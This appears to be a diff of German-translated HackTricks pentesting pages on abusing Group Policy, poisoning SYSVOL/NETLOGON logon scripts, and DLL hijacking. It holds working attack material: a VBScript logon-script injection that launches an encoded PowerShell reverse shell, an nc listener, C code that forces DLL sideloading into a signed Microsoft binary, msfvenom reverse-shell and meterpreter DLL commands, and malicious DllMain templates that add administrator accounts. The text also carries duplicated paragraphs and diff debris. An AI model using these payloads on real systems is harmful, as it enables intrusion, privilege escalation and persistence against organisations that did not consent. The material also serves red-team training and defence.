GPOs erlauben auch die Manipulation von Benutzer- und Gruppenmitgliedschaften auf Zielsystemen. Durch direkte Bearbeitung der Users and Groups policy files können Angreifer Benutzer zu privilegierten Gruppen hinzufügen, wie z. B. der lokalen `administrators`-Gruppe. Dies ist durch die Delegation von GPO-Managementberechtigungen möglich, die das Ändern von Policy-Dateien erlaubt, um neue Benutzer aufzunehmen oder Gruppenmitgliedschaften zu ändern.
|
||||
|
||||
Die XML-Konfigurationsdatei für Users and Groups beschreibt, wie diese Änderungen umgesetzt werden. Durch das Hinzufügen von Einträgen in diese Datei können bestimmten Benutzern erhöhte Rechte über die betroffenen Systeme hinweg gewährt werden. Diese Methode bietet einen direkten Weg zur Privilegieneskalation durch GPO-Manipulation.
|
||||
Die XML-Konfigurationsdatei für Users and Groups zeigt, wie diese Änderungen umgesetzt werden. Durch Hinzufügen von Einträgen in dieser Datei können bestimmte Benutzer auf betroffenen Systemen erhöhte Rechte erhalten. Diese Methode bietet einen direkten Weg zur Privilegieneskalation durch GPO-Manipulation.
|
||||
|
||||
Darüber hinaus können auch weitere Methoden zum Ausführen von Code oder zur Aufrechterhaltung von Persistenz in Betracht gezogen werden, wie z. B. die Nutzung von Anmelde-/Abmelde-Skripten, das Ändern von Registry-Schlüsseln für Autoruns, die Installation von Software über .msi-Dateien oder die Bearbeitung von Dienstkonfigurationen. Diese Techniken bieten verschiedene Wege, über die Missbrauch von GPOs Zugriff zu erhalten und Zielsysteme zu kontrollieren.
|
||||
Außerdem können weitere Methoden zur Codeausführung oder zum Aufrechterhalten von Persistenz in Betracht gezogen werden, wie die Nutzung von logon/logoff-Skripten, das Ändern von Registry-Keys für Autoruns, die Installation von Software über .msi-Dateien oder das Bearbeiten von Service-Konfigurationen. Diese Techniken bieten verschiedene Wege, um über den Missbrauch von GPOs Zugriff zu behalten und Zielsysteme zu kontrollieren.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Logon-Skripte lokalisieren
|
||||
- Überprüfe Benutzerattribute auf ein konfiguriertes Logon-Skript:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Domain-Freigaben durchsuchen, um Verknüpfungen oder Verweise auf Skripte aufzudecken:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Parsen von `.lnk`-Dateien, um Ziele aufzulösen, die auf SYSVOL/NETLOGON verweisen (nützlicher DFIR-Trick und für Angreifer ohne direkten GPO-Zugriff):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound zeigt das Attribut `logonScript` (scriptPath) auf Benutzerknoten an, wenn es vorhanden ist.
|
||||
|
||||
### Schreibzugriff validieren (don’t trust share listings)
|
||||
Automatisierte Tools können SYSVOL/NETLOGON als schreibgeschützt anzeigen, aber zugrundeliegende NTFS ACLs können dennoch Schreibzugriff erlauben. Immer testen:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
Wenn sich Dateigröße oder mtime ändern, haben Sie Schreibzugriff. Sichern Sie die Originale, bevor Sie Änderungen vornehmen.
|
||||
|
||||
### Poison a VBScript logon script for RCE
|
||||
Fügen Sie einen Befehl hinzu, der eine PowerShell reverse shell startet (von revshells.com generieren), und behalten Sie die ursprüngliche Logik bei, um Geschäftsabläufe nicht zu beeinträchtigen:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Auf Ihrem Host lauschen und auf den nächsten interaktiven logon warten:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Hinweise:
|
||||
- Die Ausführung erfolgt unter dem Token des angemeldeten Benutzers (nicht SYSTEM). Der Geltungsbereich ist der GPO-Link (OU, site, domain), der dieses Skript anwendet.
|
||||
- Bereinigen: Stelle nach der Nutzung den ursprünglichen Inhalt und die Zeitstempel wieder her.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@ -187,5 +282,9 @@ Darüber hinaus können auch weitere Methoden zum Ausführen von Code oder zur A
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
DLL Hijacking beinhaltet das Manipulieren einer vertrauten Anwendung, sodass sie eine bösartige DLL lädt. Dieser Begriff umfasst mehrere Taktiken wie **DLL Spoofing, Injection, and Side-Loading**. Er wird hauptsächlich für Codeausführung, das Erlangen von Persistence und seltener für Privilegieneskalation genutzt. Obwohl der Fokus hier auf Eskalation liegt, bleibt die Methode des Hijackings je nach Ziel gleich.
|
||||
|
||||
### Häufige Techniken
|
||||
|
||||
Mehrere Methoden werden für DLL Hijacking eingesetzt, deren Wirksamkeit vom DLL-Ladeverhalten der Anwendung abhängt:
|
||||
|
||||
1. **DLL Replacement**: Ersetzen einer legitimen DLL durch eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der ursprünglichen DLL zu erhalten.
|
||||
2. **DLL Search Order Hijacking**: Platzieren der bösartigen DLL in einem Suchpfad, der vor dem legitimen liegt, und Ausnutzen des Suchmusters der Anwendung.
|
||||
3. **Phantom DLL Hijacking**: Erstellen einer bösartigen DLL, die eine Anwendung lädt, weil sie glaubt, dass es sich um eine benötigte, aber nicht existierende DLL handelt.
|
||||
4. **DLL Redirection**: Ändern von Suchparametern wie %PATH% oder .exe.manifest / .exe.local Dateien, um die Anwendung auf die bösartige DLL zu verweisen.
|
||||
5. **WinSxS DLL Replacement**: Ersetzen der legitimen DLL durch ein bösartiges Pendant im WinSxS-Verzeichnis, eine Methode, die oft mit DLL side-loading verbunden ist.
|
||||
6. **Relative Path DLL Hijacking**: Ablegen der bösartigen DLL in einem benutzerkontrollierten Verzeichnis zusammen mit der kopierten Anwendung, ähnlich den Binary Proxy Execution Techniken.
|
||||
|
||||
## Fehlende DLLs finden
|
||||
|
||||
Die gebräuchlichste Methode, fehlende DLLs in einem System zu finden, ist das Ausführen von [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) von sysinternals und das **Setzen** der **folgenden 2 Filter**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
und dann nur die **Dateisystemaktivität** anzeigen:
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn Sie allgemein nach **fehlenden DLLs** suchen, lassen Sie das für einige **Sekunden** laufen.
|
||||
Wenn Sie nach einer **fehlenden DLL in einer bestimmten ausführbaren Datei** suchen, sollten Sie einen **weiteren Filter wie "Process Name" "contains" "<exec name>"** setzen, die Ausführung starten und das Erfassen der Events stoppen.
|
||||
|
||||
## Ausnutzen fehlender DLLs
|
||||
|
||||
Um Privilegien zu eskalieren, ist die beste Chance, eine **DLL zu schreiben, die ein privilegierter Prozess zu laden versucht**, an einem **Ort, an dem sie gesucht wird**. Daher können wir eine DLL in einem **Ordner** schreiben, der bei der Suche **vor** dem Ordner liegt, in dem die **originale DLL** liegt (ungewöhnlicher Fall), oder wir können in einem Ordner schreiben, in dem die DLL gesucht wird, während die originale **DLL in keinem Ordner existiert**.
|
||||
|
||||
### DLL-Suchreihenfolge
|
||||
|
||||
**In der** [Microsoft documentation] **finden Sie, wie DLLs genau geladen werden.**
|
||||
|
||||
Windows-Anwendungen suchen nach DLLs, indem sie einer Reihe vordefinierter Suchpfade in einer bestimmten Reihenfolge folgen. Das Problem des DLL Hijackings entsteht, wenn eine schädliche DLL gezielt in einem dieser Verzeichnisse platziert wird, sodass sie vor der authentischen DLL geladen wird. Eine Lösung, dies zu verhindern, ist sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie auf benötigte DLLs verweist.
|
||||
|
||||
Sie können die **DLL-Suchreihenfolge auf 32-Bit** Systemen unten sehen:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Das ist die **Standard**-Suchreihenfolge mit **SafeDllSearchMode** aktiviert. Wenn es deaktiviert ist, steigt das aktuelle Verzeichnis auf Platz zwei. Um diese Funktion zu deaktivieren, erstellen Sie den Registry-Wert **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** und setzen ihn auf 0 (Standard ist aktiviert).
|
||||
|
||||
Wenn die Funktion [LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) mit **LOAD_WITH_ALTERED_SEARCH_PATH** aufgerufen wird, beginnt die Suche im Verzeichnis des ausführbaren Moduls, das **LoadLibraryEx** lädt.
|
||||
|
||||
Beachten Sie schließlich, dass **eine DLL durch Angabe des absoluten Pfads** geladen werden kann, anstatt nur des Namens. In diesem Fall wird die DLL **nur in diesem Pfad** gesucht (wenn die DLL Abhängigkeiten hat, werden diese beim Laden einfach nach Namen gesucht).
|
||||
|
||||
Es gibt weitere Möglichkeiten, die Suchreihenfolge zu ändern, die hier nicht erklärt werden.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Eine fortgeschrittene Methode, um deterministisch den DLL-Suchpfad eines neu erstellten Prozesses zu beeinflussen, besteht darin, das DllPath-Feld in RTL_USER_PROCESS_PARAMETERS zu setzen, wenn der Prozess mit den nativen ntdll-APIs erstellt wird. Indem man hier ein vom Angreifer kontrolliertes Verzeichnis angibt, kann ein Zielprozess, der eine importierte DLL nach Namen auflöst (kein absoluter Pfad und keine sicheren Ladeflags), gezwungen werden, eine bösartige DLL aus diesem Verzeichnis zu laden.
|
||||
|
||||
Kernidee
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Hinweise/Einschränkungen
|
||||
- Dies betrifft den erzeugten Child-Prozess; es unterscheidet sich von SetDllDirectory, das nur den aktuellen Prozess beeinflusst.
|
||||
- Das Ziel muss eine DLL nach Namen importieren oder mit LoadLibrary laden (kein absoluter Pfad und nicht unter Verwendung von LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs und hartkodierte absolute Pfade können nicht gehijackt werden. Forwarded exports und SxS können die Präzedenz ändern.
|
||||
|
||||
Minimales C-Beispiel (ntdll, wide strings, vereinfachte Fehlerbehandlung):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Platziere eine bösartige xmllite.dll (die die benötigten Funktionen exportiert oder an die echte weiterleitet) in deinem DllPath-Verzeichnis.
|
||||
- Starte ein signiertes Binary, das bekanntermaßen xmllite.dll per Name sucht, und nutze die oben beschriebene Technik. Der Loader löst den Import über den angegebenen DllPath auf und sideloadet deine DLL.
|
||||
|
||||
Diese Technik wurde in-the-wild beobachtet und treibt multi-stage sideloading chains an: ein initialer Launcher legt eine Hilfs-DLL ab, die dann ein von Microsoft signiertes, hijackable Binary mit einem benutzerdefinierten DllPath startet, um das Laden der DLL des Angreifers aus einem Staging-Verzeichnis zu erzwingen.
|
||||
|
||||
|
||||
#### Ausnahmen bei der DLL-Suchreihenfolge aus der Windows-Dokumentation
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
|
||||
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
|
||||
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
|
||||
|
||||
### Privilegien eskalieren
|
||||
|
||||
**Voraussetzungen**:
|
||||
|
||||
- Identifiziere einen Prozess, der unter **anderen Privilegien** läuft oder laufen wird (horizontal or lateral movement) und dem **eine DLL fehlt**.
|
||||
- Stelle sicher, dass **Schreibzugriff** für ein **Verzeichnis** vorhanden ist, in dem nach der **DLL** gesucht wird. Dieser Ort kann das Verzeichnis der ausführbaren Datei oder ein Verzeichnis im Systempfad sein.
|
||||
|
||||
Ja, die Voraussetzungen sind schwer zu finden, da es **standardmäßig ungewöhnlich ist, ein privilegiertes ausführbares Programm zu finden, dem eine DLL fehlt** und es noch **ungewöhnlicher ist, Schreibrechte in einem Systempfad-Ordner zu haben** (das hat man standardmäßig nicht). Aber in fehlkonfigurierten Umgebungen ist das möglich.\
|
||||
Falls du Glück hast und die Voraussetzungen erfüllst, kannst du dir das [UACME](https://github.com/hfiref0x/UACME) Projekt ansehen. Auch wenn das **Hauptziel des Projekts die Umgehung von UAC ist**, findest du dort möglicherweise einen **PoC** eines Dll hijaking für die entsprechende Windows-Version, den du verwenden kannst (wahrscheinlich musst du nur den Pfad des Ordners ändern, in dem du Schreibrechte hast).
|
||||
|
||||
Note that you can **check your permissions in a folder** doing:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Und **prüfe die Berechtigungen aller Verzeichnisse im PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Sie können auch die Imports eines executable und die Exports einer dll mit folgendem überprüfen:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Für eine vollständige Anleitung, wie man **Dll Hijacking ausnutzt, um Privilegien zu eskalieren** mit Schreibrechten in einem **System Path folder** siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatisierte Tools
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) wird prüfen, ob du Schreibrechte auf einen Ordner innerhalb des system PATH hast.\
|
||||
Weitere interessante automatisierte Tools zur Entdeckung dieser Verwundbarkeit sind die **PowerSploit-Funktionen**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ und _Write-HijackDll_.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Wenn du ein ausnutzbares Szenario findest, ist eine der wichtigsten Maßnahmen, um es erfolgreich auszunutzen, eine dll zu erstellen, die mindestens alle Funktionen exportiert, die das ausführbare Programm von ihr importiert. Beachte außerdem, dass Dll Hijacking nützlich sein kann, um [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) oder von[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Ein Beispiel dafür, **how to create a valid dll**, findest du in dieser dll hijacking-Studie, die sich auf dll hijacking zur Ausführung konzentriert: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Außerdem findest du im **nächsten Abschnitt** einige **einfache dll-Codes**, die als **Vorlagen** nützlich sein können oder zum Erstellen einer **dll mit nicht benötigten exportierten Funktionen**.
|
||||
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Grundsätzlich ist ein **Dll proxy** eine dll, die in der Lage ist, **bei Laden deinen bösartigen Code auszuführen**, aber auch die erwartete Funktionalität bereitzustellen und zu funktionieren, indem sie alle Aufrufe an die echte Library weiterleitet.
|
||||
|
||||
Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) oder [**Spartacus**](https://github.com/Accenture/Spartacus) kannst du ein ausführbares Programm angeben und die Library auswählen, die du proxifizieren möchtest, und eine proxified dll generieren oder die Dll angeben und eine proxified dll generieren.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Hole einen meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Erstelle einen Benutzer (x86, ich habe keine x64-Version gesehen):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Dein eigenes
|
||||
|
||||
Beachte, dass in mehreren Fällen die Dll, die du kompilierst, **mehrere Funktionen exportieren muss**, die vom Opferprozess geladen werden. Wenn diese Funktionen nicht existieren, wird die Binärdatei sie nicht laden können und der **exploit wird fehlschlagen**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user